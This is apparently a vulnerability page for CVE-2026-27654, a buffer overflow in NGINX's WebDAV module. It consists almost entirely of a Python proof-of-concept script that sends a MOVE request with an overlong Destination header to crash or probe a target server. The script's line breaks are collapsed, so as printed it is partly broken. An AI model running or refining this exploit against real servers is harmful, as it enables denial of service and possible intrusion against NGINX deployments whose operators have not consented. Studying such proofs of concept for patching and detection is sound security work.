CVE-2026-27654 NGINX DAV模块缓冲区溢出漏洞

import requests # CVE-2026-27654 PoC Example # This script attempts to trigger the buffer overflow in ngx_http_dav_module # Requires target to be configured with DAV MOVE/COPY, prefix location, and alias. target_url = "http://example.com/vulnerable_path/" # Malicious headers designed to trigger overflow in MOVE/COPY processing headers = { "Destination": target_url + "A" * 5000 # Long path to trigger overflow } try: # Sending a MOVE request which may trigger the vulnerability response = requests.request("MOVE", target_url + "testfile.txt", headers=headers) print(f"Status Code: {response.status_code}") print(f"Response Headers: {response.headers}") if response.status_code == 500 or response.status_code == 400: print("Potential crash or error detected.") except Exception as e: print(f"An error occurred: {e}")